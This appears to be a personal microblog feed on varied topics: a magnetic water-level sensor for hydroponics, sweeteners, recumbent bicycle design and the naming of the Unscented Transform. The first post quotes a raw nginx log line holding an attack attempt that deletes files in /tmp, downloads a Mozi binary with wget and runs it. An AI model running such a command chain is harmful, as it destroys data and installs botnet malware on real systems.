Looking at my nginx logs: what were they trying to achieve? Is it common to run a shell open to the Internet?

<x.x.x.x> - - [27/Mar/2022:00:02:59 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://<x.x.x.x>:36715/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 153 "-" "Hello, world"

I get those emails at least once a week. I wonder why they put non-latin letters everywhere? Are they trying to bypass search engines or something?

This isn't suspicious at all

I had been wondering how to make a water level sensor for an automatic #hydroponic system.

I just bought a coffee maker that has a clever system: there is a floating device stuck in a corner of the tank that can go up and down a couple of centimetres. It has no electrical connections to anything. I'm pretty sure there is a magnet inside, and a magnetic sensor in the machine on the other side that can roughly detect its position. I'm going to steal this idea! It turns out that I bought extra magnets and magnetic field sensors a few weeks ago, knowing they could be useful for something.

I bought 100 g of #sucralose and it's really good

I can easily taste like 10 μg

Testing this for a bit, before I look at the list of urgent things I have to do for 6 months ago

I should try topology optimisation

But not sure how to deal with multi-objective optimisation there?

I spend so much time repairing and improving my old #recumbent #bicycle from 1999 I bought on Blocket that I'm thinking of just designing a new bike from scratch. But then I realise I know almost nothing about solid mechanics and there are a lot of important details, like how much pedalling power the frame absorbs by bending: http://www.recumbents.com/wisil/brown/bicycleframedesign.htm

This is really fun

How to come up with good technical names, like the Unscented Transform, by Jeffrey Uhlmann:

"Initially I only referred to it as the “new filter.” Needing a more specific name, people in my lab began referring to it as the “Uhlmann filter,” which obviously isn’t a name that I could use, so I had to come up with an official term. One evening everyone else in the lab was at the Royal Opera House, and as I was working I noticed someone’s deodorant on a desk. The word “unscented” caught my eye as the perfect technical term."
